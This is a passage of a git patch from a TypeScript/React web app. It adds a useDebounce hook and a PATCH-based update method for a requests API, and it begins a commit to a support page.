diff --git a/src/hooks/useDebounce.ts b/src/hooks/useDebounce.ts new file mode 100644 index 000000000..7b50fa84c --- /dev/null +++ b/src/hooks/useDebounce.ts @@ -0,0 +1,23 @@ +import { useEffect, useState } from 'react' + +/** + * Custom hook for debouncing values + * @param value - The value to debounce + * @param delay - Delay in milliseconds + * @returns The debounced value + */ +export function useDebounce(value: T, delay: number): T { + const [debouncedValue, setDebouncedValue] = useState(value) + + useEffect(() => { + const handler = setTimeout(() => { + setDebouncedValue(value) + }, delay) + + return () => { + clearTimeout(handler) + } + }, [value, delay]) + + return debouncedValue +} diff --git a/src/services/requests.ts b/src/services/requests.ts index 67c34cdac..b0f80c45c 100644 --- a/src/services/requests.ts +++ b/src/services/requests.ts @@ -36,6 +36,27 @@ export const requestsApi = { return response.json() }, + update: async (id: string, data: Partial): Promise => { + const formData = new FormData() + + Object.entries(data).forEach(([key, value]) => { + if (value !== undefined) { + formData.append(key, value) + } + }) + + const response = await fetchWithSentry(`/api/proxy/withFormData/requests/${id}`, { + method: 'PATCH', + body: formData, + }) + + if (!response.ok) { + throw new Error(`Failed to update request: ${response.statusText}`) + } + + return response.json() + }, + get: async (uuid: string): Promise => { const response = await fetchWithSentry(`${PEANUT_API_URL}/requests/${uuid}`) if (!response.ok) { From da30c00bd2a0e80be440e00956ac8a5f0a366043 Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Thu, 10 Jul 2025 21:27:55 +0530 Subject: [PATCH 43/55] fix: support page staging (#972) * fix: update desktop navigation with add/withdraw paths * fix: support page --- src/app/(mobile-ui)/support/page.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/app/(mobile-ui)/support/page.tsx b/src/app/(mobile-ui)/support/page.tsx index 0fd00a6cd..d9ec886cf 100644 --- a/src/app/(mobile-ui)/support/page.tsx +++ b/src/app/(mobile-ui)/support/page.tsx @@ -4,7 +4,7 @@ const SupportPage = () => { return (